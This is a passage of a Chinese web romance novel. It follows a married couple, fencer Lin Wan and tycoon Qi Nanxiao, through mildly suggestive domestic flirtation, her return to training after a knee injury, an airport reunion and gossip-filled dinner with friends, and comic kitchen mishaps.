祁南骁的脸埋在林晚的脖颈上,温柔的呼吸打在皮肤上,他既克制又躁动,呼吸间嗅着属于她的特有体香,只觉得自己要爆炸了,越闻他就越上瘾。 “老婆,帮帮我” 他的声音低沉暗哑,带着蓄意的勾引:“老婆……” 林晚真的不想再洗一次了,可眼前的人磨来磨去,她压根走不掉。 “你烦死了。” 几秒后,祁南骁听见声音,抬头,暖灯下,他眸底像星辰般微亮 半个小时后,林晚被祁南骁抱着出浴室。 两人坐在客厅沙发上,祁南骁非得拉着她看电影。 祁南骁一副餍足的惬意模样,把林晚圈在怀里,开始还只是帮她揉肚子,揉着揉着掌心就往上去了。 林晚隔着睡衣按住他的手,略带警告的道:“祁南骁。” 祁南骁垂眸,看着她漂亮的眸子瞪着他,他低笑一声:“不是说痛吗,我给你揉揉。” 林晚还能不知道他?他一个眼神,她就知道他心里不干净。 “你自己什么定力,你自己心里没点数吗?” 祁南骁又把掌心钻进她的睡衣里,硬是要握着,低声道:“揉揉就好,我又没咬。” 林晚红着脸,心知抢不过他,只能任由他去。她目视前方,继续看电视,恰好电视里女主穿着比基尼出现,身材极好,她一时有些看呆了。 祁南骁顺势看过去,然后收回视线垂眸看了眼林晚的,衣服下面的手上动了动:“不用羡慕,你的比她的漂亮。” 林晚微微抬头,撇了撇嘴角:“呵,你们男人不都是见一个爱一个的。” 祁南骁笑着道:“我发誓,我就爱你这样样的。” 林晚不说话,祁南骁动了动手,嗓音低沉磁性:“真的,我一个手都握不过来了。” 林晚嘴角忍不住上扬,嘴上却道:“家花哪有野花香啊。” 祁南骁忽然抱着她往旁边躺下,整个人在她胸膛上扑个满怀:“你的最香。” “还是奶香奶香的。” 林晚听不下去了,翻身坐他身上拿砸他:“色狼。” 祁南骁接住抱枕转头就扔地上去,掐着林晚的腰一个翻身就把她压在身下:“嗯,这辈子就馋你的身子。” —— 第二天清晨,林晚是被手机铃声吵醒的,迷迷糊糊中身旁的男人动了动身子,转头拿到床头柜上的手机。 祁南骁闭着眼睛,看都没看直接接通。 手机那头的洛梵还没等人说话,就叽里呱啦先出声:“宝宝,我要想死你了。我马上就要上飞机了,记得下午五点去机场接我啊。” 祁南骁被吵得头疼,不耐烦的道:“谁啊?” 电话那头沉默良久,然后发出一声尖叫:“你谁啊?这是我姐妹的手机,怎么会在你手上。” 声音大到一旁的林晚都被吵醒了,她睁开眼,无意识的轻哼一声:“谁啊?” 祁南骁看了眼手机备注,这才发现自己拿错手机了,他直接把手机贴到林晚耳朵边:“你那个爱看裸/男的姐妹。” 洛梵:“???” 林晚:“” 反应过来,林晚接过手机,清了清喉咙:“喂?” 洛梵激动:“林晚,你背着我偷男人?” 这话,祁南骁也听见了,他微微挑眉,转身把林晚压在身上,就看她如何跟她好朋友介绍他。 林晚脑子还有些混沌,闷闷的道:“你找我什么事?” 洛梵道:“别转移话题,刚刚那个接你电话的人是谁?” 林晚无奈:“祁南骁。” 洛梵:“OMG,你俩DO了?” 林晚沉默。 洛梵一脸八卦的道:“怎么样,他身体好不好,有没有把你伺候好?我跟你说,这男人不能只看脸,还得看他大小,看完大小还得看他腰好不好,技术好不好。” 洛梵一顿输出,压根不知道这些话都被祁南骁给听到了。林晚听得睡意全无,只想把她电话给挂了,这些话私底下跟闺蜜聊就算了,还被当事人给听见了,怪尴尬的。 “你找我干嘛?”林晚清了清喉咙打断。 洛梵思路被打断,便随口道:“我下午五点下飞机,记得来接我。” 林晚心口一沉,她垂眸就看见埋首在她身上的男人,祁南骁抬起头,看着她,故意勾起唇角低头亲她的脸颊、耳垂、脖颈、锁骨下方吮吸。 林晚被激得差点叫出声,伸手去抓他的头发想要阻止。 祁南骁顺势扣着她的手腕,举到她的头顶,随即又低头隔着睡衣准确无误的咬了上去。 林晚咬着唇,忍着。 洛梵见没人说话,她疑惑出声:“喂?” 林晚声音闷闷的:“我知道了。” 随后便挂断了。 林晚脑子一片空白,浑身都是麻的:“祁南骁,你给我起来。 祁南骁低头咬了上去,声音慵懒低沉:“再让我亲会儿。” 他说完,马上低头继续啃咬。林晚被迫弓起腰,唇瓣微张,大清早的,两人的呼吸声格外清晰。 林晚气息不匀,难耐的扭了下腰身:“我要起来训练了。” 祁南骁想赖着,大清早的本就精力旺盛,蓬勃有力,只能摸不能碰,他现在也是快乐的折磨。 林晚一直都是很自律的人,她的作息十几年如一日,一但被打破,就会产生一种焦虑。被祁南骁这么一闹,她是真的着急了,语气有些急:“你要是耽误我训练,今晚你睡书房去。” 果不其然,祁南骁听见后乖乖抬起头,一脸无辜爬起来。 林晚剜了他一眼,立马起身把衣服整理好。 祁南骁瞧见她一副气鼓鼓的样子,心里痒痒的:“我是不是很听话?” “听不懂人话。” 祁南骁唇角微勾,声音低沉:“我只听老婆的话。” 林晚视线微垂,落在他明显隆起的地方:“嘴甜我也不会帮你。” 祁南骁拉着她的手,目光恳求又亢奋。 林晚面无表情起身,把他甩在身后:“罚你自己解决。” 祁南骁想上前把她抓回来,但心里没那个勇气。林晚虽然大多时候都很宠着他,可一但涉及她训练的事,她就会变得很有原则,不容侵犯。 —— 原计划休息一个星期的假期,林晚也提前结束了。她的手只要戴上手套就能缓解一部分痛感。 吃完早餐,祁南骁便提出送林晚去体育局,林晚扭不过只能任由他开车送她。 车子驶出别墅大门,路过其它别墅时,林晚注意到了离祁家里最远的那户0020栋别墅,她看向祁南骁疑惑的问:“这户人家的信息有查清楚吗?” 祁南骁思忖半晌,才想起来莫白昨晚跟他汇报过:“这家户主是周氏集团的原总裁,去年心脏病猝死了。现在住这里的是他老婆陈雪茹还有她养的情夫就是那个姓窦的。他们的确有虐猫的嫌疑,我已经安排人在别墅区里曝光这件事了。到时候,他们颜面扫地自然会有所收敛。” 林晚脸色微沉:“窦铭为什么会跟这个人当情夫?” 祁南骁眸色一暗,开口道:“窦家在南市扎根,东山再起,窦铭接触陈雪茹很可能是看中她继承她丈夫的那些资产。陈雪茹没什么能力,但她请了职业经理人打理周氏集团。窦铭接触她,很可能是想要吃下周氏。那个陈雪茹都快五十岁了,窦铭为了钱也是够狠的。” 林晚悄然握紧拳头:“他们一直都是这样,为达目的不择手段,没有什么是不能牺牲的。” 掌心的伤口隐隐做痛,她却置若罔闻。 祁南骁余光瞧见了,心疼的握住她的手,缓缓打开她的掌心:“放心,他们蹦跶不了多久的。” 林晚闻言,侧头看向祁南骁,沉默片刻才道:“没有必要为了我跟他们为敌,你们商人不常说和气生财嘛。” 祁南骁捏了捏她的指尖,沉声道:“以后这种傻话不要再说了。” 林晚:“嗯?” 祁南骁把车停在路边,直视林晚的眼睛,眼底是从未有过的认真:“你是我妻子,你爸就是我爸。我们是一家人是一体的,没有道理有福同享,你们有难,我就躲在一旁高高挂起。对付窦家不仅仅是想为你和爸报仇,也是为民除害。你知道窦家在南市干的是什么勾当吗?” 林晚抿唇,摇头。 祁南骁声音冰冷,眼里闪过一抹杀气:“黄、赌。” 最后一个毒,还没确切的证据,祁南骁并没有直接说。林晚的生父就是一名缉毒警察,他死在了抗击毒品的路上。林晚对毒品的憎恨是透进骨子里的。在没有确切结果之前,他不打算打扰到林晚。 林晚抬眸,惊恐的看着祁南骁:“他们居然还敢干这些事。” 祁南骁见状温声安慰道:“相信国家不会放过任何一个坏人的。” “好。” —— 林晚到达体育局时,队友们正要去开会,见到她来,江逸还很意外:“不是给你放假了吗,你怎么又回来?” 林晚笑着跟了上去道:“手没什么大问题了,想尽快回来训练。” 江逸哀嚎道:“把你的假期转给我吧,我想休假。” “休什么假?”吴添的声音从两人身后传来。 两人齐齐回头喊了声:吴队。 吴添看了眼林晚:“手怎么样?” 林晚主动握了握吴添的手:“报告教练,完全没问题。” 吴添轻拍了下她的手背:“等下训练,要是让我发现你退步了,看我怎么收拾你。” 江逸道:“吴队,林晚她还是个患者啊,你能不能怜香惜玉一下啊?” 吴添轻哼一声:“奥运名单可不会怜香惜玉你是男是女。” 林晚垂眸,她想尽快回来训练,就是为了能恢复好状态备战奥运。即便希望渺茫,她也不想放弃。 周青山走后的击剑队恢复到以前团结和气的氛围,就连开会都简短了许多。再也不是以前那样一堆废话耽误运动员训练的样子了。 林晚一身运动服跟着康复师做康复训练,之后继续进行击剑训练。 因为现在还不足以达到医生眼中的健康状态,林晚只能忍着疼痛咬牙坚持。 吴添一直站在她旁边盯着她的动作:“腿部力量还是不够,蹬跨步给我稳住。” 训练时的吴添声音嘹亮,面容严肃,喊出来的声音就像催命符一样,在训练馆里格外刺耳。 于书雨在不远处看见满头大汗的林晚,还有严肃的吴添,吓得鸡皮疙瘩都起来了。 她忍不住跟一旁的江逸道:“吴队也太狠了吧,林晚她膝盖都还没好全就对她要求这么严格。”其实在她看来,林晚做的已经很好了,她已经很努力的做到让膝盖不影响她了。 江逸微微叹气:“你知道的,膝盖韧带断裂很可能会断送运动员的职业生涯。吴添不想放弃林晚,林晚也不想放弃击剑,他们俩现在就差走火入魔了。” 膝盖韧带断裂这对最需要腿部灵活性的击剑运动员来说是致命的打击。这几个月,林晚几乎自律到变态。小到饮食,大到训练,她都严格按照康复师的建议进行着。 林晚需要付出比普通运动员多好几倍的努力才能重返赛场。 明年奥运会即将到来,林晚能不能被选中参加奥运会,就看她能不能恢复到之前的巅峰状态了。体育竞技是残酷的,并不会因为你是最努力的就会优待你。 一切凭能力说话,林晚深知这个道理,她知道卖弄努力没用,只有让身体肌肉跟上她的节奏,努力克服伤痛带来的影响,才能突破自己的瓶颈期。 等到吴添喊停时,已经是下午四点多了。林晚精疲力尽的走进更衣室,喝功能饮料恢复体力,然后洗澡换衣服。 祁南骁来接她,他给体育局一些运动项目赞助了不少钱,体育局直接让他开车进去等。 正准备给林晚打电话就看到林晚往外走。 只见她一张漂亮的脸上,秀眉略显疲惫。祁南骁推门下车,三两步走了前去扶着她,替她接过背包,担忧的问:“是不是累了?” 的确挺累的,今天她还是生理期,身体状态本就不佳,她的训练量并没有减少以至于结束后身体比平时还疲倦。 “你怎么来了?”林晚意外的看着祁南骁。 “林晚,你男朋友?”路过的队友见状笑着问。 林晚笑了笑:“我老公。” 有人惊讶的出声:“你结婚了?什么时候的事?” 祁南骁闻言,唇角微勾:“你们好,我是林晚的丈夫。之前怕打扰到林晚的训练,没有办婚礼。等奥运会结束后,我们一定风风光光办一场婚礼邀请大家参加。” “好啊。我们可都是林晚娘家人,你可不能欺负她。” “你小子真是好福气,能把我们女神给娶走。” 祁南骁嘴角的笑意就没下来过:“是,是我高攀了。我一定好好对她。” 队友们笑着应声,各个嘴里都夸祁南骁帅气会说话。 等人走后,林晚和祁南骁上了车,她道:“你干嘛,搞得全天下都知道了。” 祁南骁道:“我又不是小三小四上不了台面的东西,怎么就不能让全天下知道了?” 林晚无语:“我待会要去机场接洛梵,不跟你一起吃饭。” 祁南骁起动车子:“我知道,我送你去。” 林晚狐疑的看着他:“我跟小姐妹聚会,不可能带你的。” 祁南骁闻言拉着她的手:“我跟她谁重要?” 林晚笑着挥开他的手:“你幼不幼稚?” 祁南骁道:“我朋友你都见过了,你朋友我都还没见过。” 林晚道:“改天找时间带你去见他们。今天真不行,我没有跟洛梵说好,就带你参加我们的聚会,这对她不好。” “我知道了。我送你过去把车子给你们,我打车回去。” 林晚闻言,抿唇微笑:“乖。” 祁南骁笑了,声音低沉:“喜欢吗?” 林晚道:“女人最喜欢听话的男人了。” 祁南骁问:“有没有奖励?” 林晚想说没有,但又想到祁南骁除了在床事上听不懂人话外,其它时候他一直都很听话。 抬眼看着他,林晚道:“你要什么奖励?” 祁南骁点了点自己的侧脸:“等下,亲我一下。” 这点要求并不高,林晚想都没想就答应了。 等车子到了机场,离洛梵飞机落地还有一段时间。祁南骁解开安全带,把脸凑到林晚面前:“老婆,奖励。” 像极了讨好人的狗狗。 林晚抿唇偷笑,扬起下巴去亲他的脸,谁料,他却忽然侧头,吻住她的唇,将她按在椅背上,又是一番耳鬓厮磨,最后头抵着她的额头上喘粗气,折磨的还不是他自己。 林晚见状,试着摸他的头发说:“没有那个定力就别到处乱点火。” 祁南骁沉声道:“等你月经走了,我一定要加倍要回来。” 第57章 第 57 章(补500字) 现在你对…… 洛梵是五点二十分出来的, 比她先出来的是她艺人,一个帅气的男明星,只不过对方身边跟着一堆保安、助理还有粉丝, 一时间机场出口通道到处都是人。 洛梵从中穿梭,硬是靠身材娇小挤出人群就看到不远处格外惹人眼的俊男美女。 她略显惊诧的走过去, 抱住林晚:“啊,我终于回来了,快让我香香一下。” 林晚骁笑着扶住洛梵, 她穿着7cm的恨天高, 跑到她面前时, 她都怕洛梵会扑街。 祁南骁站在一旁眼神示意林晚, 他要吃醋了。 林晚无奈把洛梵轻轻推开。 洛梵这才把注意力转到祁南骁身上,男人身高188, 鹤立鸡群,浓颜系,五官立体,9鼻梁尤其高挺, 手掌看起来也很大有劲,看这外表就知道她姐妹不吃亏。容貌冲击过后, 给她的感觉是气势逼人,令人紧张警惕,浓浓的权贵气息, 让她忍不住犯怵。 她悄咪咪的戳林晚的手臂,眼神瞥了眼林晚:怎么回事, 带男人也不跟她提前说。 林晚回以微笑,给两人介绍道:“这是祁南骁,这是我闺蜜洛梵。” 祁南骁微微颔首:“你好, 我是祁南骁,是林晚的丈夫。” 洛梵点头打招呼,笑容是肉眼可见的僵硬:“您好,我是洛梵,是林晚的闺蜜。” 林晚见洛梵紧张,拉着她转身往外走。 洛梵扯着林晚的手臂:“等下,我行李。” 祁南骁已经自觉帮忙推行李车了,洛梵余光瞧见了,吓得差点手脚并用连忙道:“别别别怎么能麻烦祁总呢?” 祁南骁神色如此:“你陪我老婆就行。” 洛梵:“” 林晚把洛梵拉了回来:“走吧,别寒暄了,先陪我去趟厕所。” 两人并肩往厕所方向走。 洛梵的墨镜底下早就眉飞色舞了:“老实交代,你俩现在什么关系?” 林晚笑着道:“就正常夫妻关系。” 洛梵戳她的腰:“可以啊,还得是我林姐,这么快就把京市恶霸给拿下了。” “诶,他对你怎么样?” “他挺好的。” “看你红光满面的我就知道你吃的好。” 林晚:“” “我先去厕所了。” 洛梵龇牙咧嘴:“还这么害羞呐。” 林晚头也不回直接走了。 留下来的洛梵看到祁南骁站在推车边,瞬间背脊紧绷得笔直,随即拿出自己手机假装回信息。两人中间隔了两三米远。 祁南骁觉得这样挺好的,别的女人都是想方设法往他身边凑,这个洛梵倒是恨不得他赶紧走,这也侧面证明林晚的朋友人品不错。 祁南骁随意开口:“不好意思,打扰到你们的聚会。” 洛梵露出标志性八颗牙齿:“没有,您能来是我们的荣幸。” 祁南骁道:“把你们送上车后,我就会走。” “啊?不用不用,等下你们直接把我送回家就行,我就不耽误你们约会了。”洛梵摆手。 祁南骁闻言,唇角微勾:“那不行,要是抛下你,晚上小晚得跟我闹。” 洛梵嘴角不自觉的抽了下,心底已经开始骂人了,这货故意在她面前秀恩爱的是吧? 祁南骁道:“听说你开了家经纪公司?” “啊,对啊。” 祁南骁道:“我有一家影视公司,回头我让负责人找几部剧跟你们公司的艺人合作。” 洛梵受宠若惊,蓝盛资本旗下的影视公司可是业一流影视公司,手里握着的资源可都是重量级的。露个指头缝的资源都够她们这些小公司吃得盆满钵满的了。 但是人家凭什么要帮她?就凭她跟林晚是好姐妹? 好姐妹也没道理上来就给老婆闺蜜送资源啊,这种做法怎么看都不对劲。 洛梵面上不动声色,眸里的神色淡漠了几分,笑着回道:“不用,我们公司的艺人都还是新人,还不够格接大制作的影视资源。” 祁南骁道:“你别误会,我没别的意思。” 洛梵抬眸看着他,心想那你是什么意思? 祁南骁道:“你们是林晚最好的朋友,也是我朋友。这点资源对我来说只是一句话的事。我这么做一是想跟林晚身边的人搞好关系,二是想感谢你们之前一直陪着她,做她最好的朋友。不仅是你,梁子超那边我也会有所表示。” 洛梵眉毛微挑,祁南骁这么真诚,跟传说中的心狠手辣完全不一样。 “谢谢。林晚是个很好的姑娘,希望您能好好对她,真心爱她。” 祁南骁看着洛梵:“我很爱她,跟她的婚姻也不是儿戏,是真心想跟她共度余生。” 洛梵看着他眼眸里的真挚,心底莫名的热血沸腾,想不到祁南骁这种恶人居然还是妻控,林晚是不是有什么神情的驭夫术,能把祁南骁训成这样?越想越八卦,待会非得把林晚抓起来好好盘问。 刚念着,就看见林晚从厕所里出来。 洛梵赶紧上前拉着林晚,两人手拉手往车上去。 祁南骁已经把行李给她放好,又把车钥匙给了司机,转身跟林晚道:“小晚,我先走了。” 林晚回头随口道:“好,你去吧。”说完,她又回头跟洛梵聊天,丝毫没有任何眷恋。 祁南骁眼眸直视着林晚的背影,一眨不眨的。 洛梵瞧见了悄悄暗示林晚,林晚这才反应过来,走到祁南骁身边。 祁南骁拉着她的手道:“等你们快结束时,我过来接你回家。” 林晚:“不用,你不是给我安排司机了吗?” 祁南骁垂眸,模糊了委屈和抱怨的口吻低声道:“我想来接你。” 林晚道:“那行吧。” 洛梵在车上扒着车窗一脸八卦又兴奋,那眼神活似激光雷达似的,林晚不用回头都能感受到,她现在只想赶紧把祁南骁打发走。 “你走吧,我结束了就给你打电话。” 祁南骁眨了眨眼:“你闺蜜一回来,就不理我。原来她真的比我还重要。” 林晚道:“我这段时间可一直都跟你在一起。” 祁南骁道:“可我都舍不得你。” 林晚眉头轻蹙:“你怎么这么黏人啊?” 祁南骁捏着她的手腕:“你不黏我,我只能多黏着你了。爱情总要有一个人主动” “停。”林晚及时打断:“少看那些没有营养的爱情鸡汤。” 祁南骁笑着道:“你怎么知道我在偷偷学习?” 林晚气到发笑:“就你那书天天放床头,我很难不注意到。”何况,书名还是《如何做一个让妻子满意的男人》 “你堂堂一个千亿公司的总裁居然天天看这种地毯文学鸡汤,说出去都要被人笑半天。” 祁南骁道:“那你觉得我做的够格吗?” 林晚笑着道:“还行,还有很大的进步空间,继续努力。我要走了,不跟你说了。” 祁南骁道:“抱一下。” 林晚推了他一下:“拒绝。” 祁南骁低声道:“现在你对我爱答不理,过几天,我让你身不由己。” 林晚听见了,脚步都变快了,头也不回的走到车子前,开门上车。 一上车,洛梵就把中控按下,跟林晚说悄悄话:“快跟我说说,你给祁南骁吃了什么,他怎么在你面前完全变了个人?” 司机前面开车,林晚靠在椅背上恰好可以看到祁南骁上了另一辆保镖的车,他降下车窗冲林晚挥手道别。 林晚回了个尴尬而不失礼貌的微笑果断升起车窗。 洛梵已经急不可耐了,拉着林晚东问问西问问。 林晚被她吵得不行,只能老实回答。 一路说个不停直奔饭店,梁子超已经到了,看见林晚直接越过洛梵把林晚推到座位上坐下,又一顿八卦。 “我听我表哥说了,你跟祁南骁假戏真做了?怎么回事?” 林晚面不改色的抿了口茶,看了眼洛梵。 得到当事人的八卦授权,洛梵扭头就跟梁子超绘声绘色的讲了起来。表演了一出霸道总裁被逼成婚,先婚后爱最后成恋爱脑的故事。 林晚从一开始淡定喝茶到后面听得一脸黑线。 “洛老师,你不去写小说真是文学界的损失。” 洛梵撩拨了下头发道:“我不干哪行,都是哪行的损失。” 梁子超不由得感慨:“怪不得你能跟我妈成为忘年交,你俩给盘瓜子能唠三天三夜。” 洛梵拍了拍梁子超的肩膀道:“我回来了,这一次我带着全娱乐圈的瓜去找你妈。” 梁子超忽然问道:“你在娱乐圈里知不知道叶初雪?” 洛梵点头:“知道,最近很火的清冷白玫瑰。长得又纯又欲,你问她干嘛?她可不是你喜欢的类型。” 梁子超道:“我替我小姨问的。” 洛梵嗅到了瓜,就连林晚也停下吃菜看了过去。 梁子超道:“我表哥你们知道的,我小姨已经给他物色好联姻对象了。一开始说好两家共同出资搞一个项目,双方各占45%。结果他在外面养了个女明星,还被女方家里人知道了,女方那边趁此机会要加5%的股份。我小姨让我偷偷打听下我表哥在外面养的那个女明星,想让他们断了。” 林晚眉心微蹙:“你表哥未婚妻是白箐?” 梁子超眼眸微顿:“你怎么知道?” 林晚面无表情的道:“之前饭局见过。” 梁子超不动声色的问:“什么饭局?” 林晚侧头,打量着梁子超:“祁南骁带我去见他发小,你表哥带着白箐参加饭局。” 梁子超闻言,强压着内心的怒火,尽量面不改色道:“呵,看来他们挺配合的。” 林晚眼底尽是促狭:“是啊。你表哥看起来对白箐很好,不像是会出轨的人。” 洛梵渐渐反应过来,眼眸微亮盯着梁子超:“你表哥跟他未婚妻感情咋样,你生气干嘛?” 梁子超举起桌子上的酒杯,一口闷。 过了会儿,梁子超又忍不住道:“他俩压根没感情,恩爱不过是装出来的。” 洛梵和林晚对视一眼,两人心照不宣。 洛梵脱口而出:“你喜欢你未来表嫂?” 梁子超眼神闪躲:“什么表嫂,他俩能不能成,都不一定。” 洛梵捂着嘴巴:“你还真喜欢上你表哥的未婚妻啊?” 说完,她又扭头问林晚:“她是什么类型的?” 林晚仔细想了下:“御姐。” 洛梵满眼促狭:“哇哦~怪不得。” 梁子超骂骂咧咧:“老洛,你那是什么眼神?” 两人你来我往,上演小学鸡对骂。 林晚垂眸,白箐那样大大方方的美艳御姐型还真是梁子超喜欢的。她想起之前饭局上的梁景宸跟白箐,明明两人看起来挺琴瑟和鸣的,没想到私底下梁景宸还养小情人,梁子超又喜欢白箐,就是不知道白箐是什么态度,这三人的感情够梁家头疼的了。 拿起茶杯喝茶,林晚微微吹了吹热气,其实她是想到了祁南骁,一开始他们也说过要形婚,互不干涉。没想到短短几个月的时间,两人的关系突飞猛进,倒是成了真夫妻。这段婚姻里,但凡两人之间有一个没心思的,他们都不会成。 好像冥冥之中有一种无可替代的宿命感,双向奔赴的爱,最为珍贵。 聚会结束,三人一齐出了饭店。祁南骁早就收到林晚的短信,在门口等待。一见三人出来,他就下车。 梁子超不动声色打量着祁南骁,心想就这外表还算配得上林晚,就是不知道人品配不配得上了。 祁南骁率先打招呼:“你们好。” 梁子超道:“四少,久仰久仰。” 祁南骁笑着掏兜给梁子超发了根烟,几人寒暄一番才各自上车,各回各家。 林晚一上车就看到了副驾上的红玫瑰。 两人在一起之后,这是他第n次给她买花,基本上每一次去接她都给她买花。 往往昨天的花还没谢,今天的花又送来了。林晚无奈:“你怎么又买花了?” 祁南骁笑道:“想送你。” 林晚嘴角微勾:“家里花园还有很多洋桔梗,不用买那么频繁。” 祁南骁把花扔后坐上,车里很暗,座位是柔软的皮料,他倾身靠近,林晚睁大眼睛,看着祁南骁高大的身形朝她覆了过来。 车里空间很大,并不觉得挤,至少她还能后退。 祁南骁直到把她抵在座椅上,扳过她的脸,张口吻下去。 林晚想说话,刚一张嘴就被滑进来的东西堵住,唔了一声,挣不动,只能任他为所欲为。 车里车窗全部关着,车外是热闹的市区,人来人往驻足欣赏豪车…… 明明车窗有涂料,外面看不清车里的画面,林晚还是心惊肉跳。 空气仿佛变得有限,林晚感觉被祁南骁亲得快要窒息,就小心舔他的唇瓣,想要他温柔一点。 没想到却让祁南骁吻得更用力了。 祁南骁懊恼林晚不够黏他,林晚觉得自己太纵着祁南骁了,总是不分场合地点的调戏她。 祁南骁吻了她很久,久到林晚的手机震动,才被林晚推开。 林晚快速拿出回手机消息。 祁南骁拨了下她的碎发,声音低沉微哑,“晚上玩得开心吗?” 林晚点头,出声说:“就吃了顿饭。” 想到洛梵的话,她忽然侧头看着祁南骁:“梁景宸在外面也养了女明星?” 祁南骁眉心微蹙,思忖半天也没记起来:“应该是吧。” 林晚轻哼一声:“果然,你们男人都一个样,家里红旗不倒外面彩旗飘飘。” 祁南骁下意识反驳:“我不会。” 林晚瞥了眼他:“你不是男人?” 祁南骁抓着她的手放自己腰带下,低笑一声:“我是不是男人,你不知道?” 林晚拍开他的手:“你能不能控制一下?” 祁南骁笑道:“它不听我话。” 林晚口吻很淡:“你们男人都是下半身思考的生物。” 祁南骁没料到她会说这个,有点语塞,他身边的两个发小私人感情的名声都不太好,连累到他也被林晚怀疑了。 祁南骁豁出去了,抓着她的手,语重心长道:“小晚,我喜欢你才跟你在一起,如果我真是见异思迁的人,前面二十几年我至于一个女人都没有吗?我是我,我朋友是我朋友。他们如何做我管不着,我只会约束好我自己。我是不是第一次,你不是已经试过了?你不用怀疑我的人品和忠诚。” 忠诚,这两个字在当今婚姻里听起来似乎有点匪夷所思,可一旦用在自己身上,依然还是会让人热血沸腾。 林晚抬手,轻抚着祁南骁的鼻梁,一本正经道:“男人在外面也要保护好自己知道吗?若是你被别人给碰了,我可不会再碰你的。” 祁南骁闻言非但没有担忧,反而心里暗爽,抱着她,埋首在她脖颈上,勾起唇角:“老婆,你是不是特喜欢我?” 林晚眸子微挑:“是啊。” 祁南骁近乎痴迷的看着林晚,低声道:“我也很喜欢你。” 话音落下,他慢慢低下头,林晚仰着头,在他的吻偏离她的唇,顺着脖颈一路往下时,她一把抵住他的胸膛:“差不多行了,你想一路顶着小雨伞开车回家吗?” 祁南骁喉结上下滚动,深呼吸,沉声道:“我不小。” 林晚:“” 第58章  他的可爱 一开始领证时, 林晚想过和祁南骁结婚后的生活会井水不犯河水的形婚,即便不是如此也会是相敬如宾式的。 后来两人先婚后爱,林晚以为两人的婚姻会上演热恋缠绵、生起摩擦、新鲜感逐渐褪去。 可令她没想到的是, 她跟祁南骁之间压根吵不起来,因为她总能在祁南骁身上挖掘出新鲜笑点。 林晚渐渐发现, 祁南骁在生活上也不是无所不能的。 比如,有一次,祁南骁跟着她去超市购物回来。就在林晚整理收纳时, 祁南骁跑过来要帮忙。 等林晚反应过来时, 就看到祁南骁竟然在洗生鸡蛋。 林晚诚挚的指出鸡蛋不需要清洗。 祁南骁面无表情:“好歹是从鸡屁股里出来的, 还是洗干净点好。” 然后波澜不惊的把鸡蛋擦干净放进盒子里。 林晚尝试给他科普鸡蛋洗了之后容易坏, 祁南骁不理解,也不愿意尊重鸡蛋。 再比如祁南骁喜欢练格斗基本上三天两头就会跟家里的保镖对练, 就算被打中,他眼都不眨一下。可就是这样的一个猛男,居然害怕虫子。 有一次,祁南骁陪她在花园里浇花, 一只虫子飞了过来,祁南骁瞬间浑身紧绷, 面无表情的拿着水枪把虫子给渍走,结果渍到墙上,把自己搞得一身都是水。林晚忍不住笑他, 伤敌一百,自损一千。 这天, 祁南骁去体育局接她回家。 路过一片集市时,林晚忽然有点想吃柿子。祁南骁非要她在车上等,他下去给她买。 祁南骁跨越斑马线, 一路风尘仆仆提着满满一大袋的东西,回来后他还不忘了站在车外用矿泉水给她洗好。 林晚迫不及待降下车窗,结果发现祁南骁竟然在洗番茄。 祁南骁还很贴心倒完一瓶水后还会用纸巾擦干净。 林晚看着祁南骁,忍不住问出声:“卖柿子的走了?” “没有走。” 祁南骁转过头,一颗红彤彤的西红柿就这么递到林晚面前,眼神示意她,这不就是? 林晚看着他一脸认真的模样,强忍着笑意:“这是西红柿,不是柿子。” 祁南骁俊美的脸上有那么一刻露出不可置信的神情。 林晚靠在椅背上再也忍不住笑了出来。 祁南骁拿着西红柿面色镇定的上了车,把西红柿用纸巾垫着放在副驾前。 祁南骁很少吃柿子,而且他见到的番茄都是直接被做成菜,方才远远的乍一看下意识以为西红柿就是林晚要的柿子。现在听了林晚这么一说,他才后知后觉。 “我听那大爷喊这是柿子。” 林晚原本是笑够了的,又听到祁南骁怨念的语气,忍不住勾起嘴角:“那大爷是不是一口东北口音?” 祁南骁点头。 林晚解释道:“东北那边的确有人管西红柿叫柿子。” 祁南骁别过头,推车要下门。 林晚连忙问:“干嘛去?” 祁南骁面无表情:“去纠正那大爷的口音。” 林晚及时拉住他,哭笑不得道:“你要是能认出西红柿跟柿子,人大爷就算是喊这是樱桃,你也能分辨出来,干嘛去找大爷的麻烦。” 祁南骁有点生气,气自己的‘无知’,他一个牛津大学的高材生居然被西红柿给骗了。 林晚拉着他的手,笑着咬了口西红柿:“没事,西红柿也好吃,酸酸甜甜。” 她随便开口哄他,祁南骁就心软的一塌糊涂,捏着林晚的下巴,扣着她的后脑,就吻了下去,吸吮她唇齿间的清甜。 片刻后,祁南骁才放开她,指腹摩挲着她的唇角,低声道:“是挺好吃的。” 回到家,林晚进猫房给猫猫狗狗喂零食,蛋黄现在已经是一只肥嘟嘟的小奶猫了,会自己去猫砂盆里上厕所。 林晚还纳闷自己都没教过它,它怎么会的? 陈嫂正在铲猫砂,笑着道:“是布丁教它的。” 林晚这才看到站在最高处的布丁,它现在已经没有那么应激了。只是依然不让人靠近,林晚拆了包冻干把零食放在布丁的不远处便继续逗蛋黄,布丁只是居高临下的看着这一幕然后慢条斯理的吃起冻干。 玩了一小会儿,林晚把手里的猫球丢出去,准备起身离开,豆包立马跟着出来,蛋黄瞧见了碰着猫球的爪子立马缩回去扭头跟在豆包屁股后面一起出来。 林晚一托二走到厨房时,恰好看见祁南骁站在厨房里,还穿着围裙。 透过岛台,清楚可见他在里面手忙脚乱的样子,林晚眼睁睁看他从冰箱里拿出鸡蛋,小心翼翼敲开,然后他就把鸡蛋给扔了。 俨然一副不熟悉做饭流程,手足无措的样子甚是滑稽。 林晚嘴角轻轻上扬,走过去:“你在干嘛?” 祁南骁跑到洗手池前,用力洗手,他脸色不太好看,一言难尽的样子。 林晚嗅了嗅:“什么东西这么臭?” 祁南骁脸色更黑了:“为什么鸡蛋是臭的” 林晚忍不住笑了:“都跟你说了洗过的鸡蛋容易坏。” 祁南骁抱住林晚,声音闷闷的:“还真是啊。” 林晚憋不住笑,把他推开:“你还是出去吧,我来做。” 祁南骁把她护在身后:“你先出去玩会儿,给我一个小时,我肯定上你吃上饭。” 林晚从祁南骁的身后歪头出来看到桌面上已经切好了几盘西红柿:“你是想做西红柿炒鸡蛋?” 祁南骁说:“原本是这么打算的。” “那你现在是什么打算。”林晚道。 祁南骁道:“番茄牛肉。” 林晚忍不住问出声:“不去皮吗?” 祁南骁垂眸看她:“你家番茄还要去皮?” 林晚不忍打击他:“有时去,有时不去。” 祁南骁反应过来:“我家不去。” 林晚勾起唇角,心想你家也不是你做饭啊,你怎么知道去不去皮。 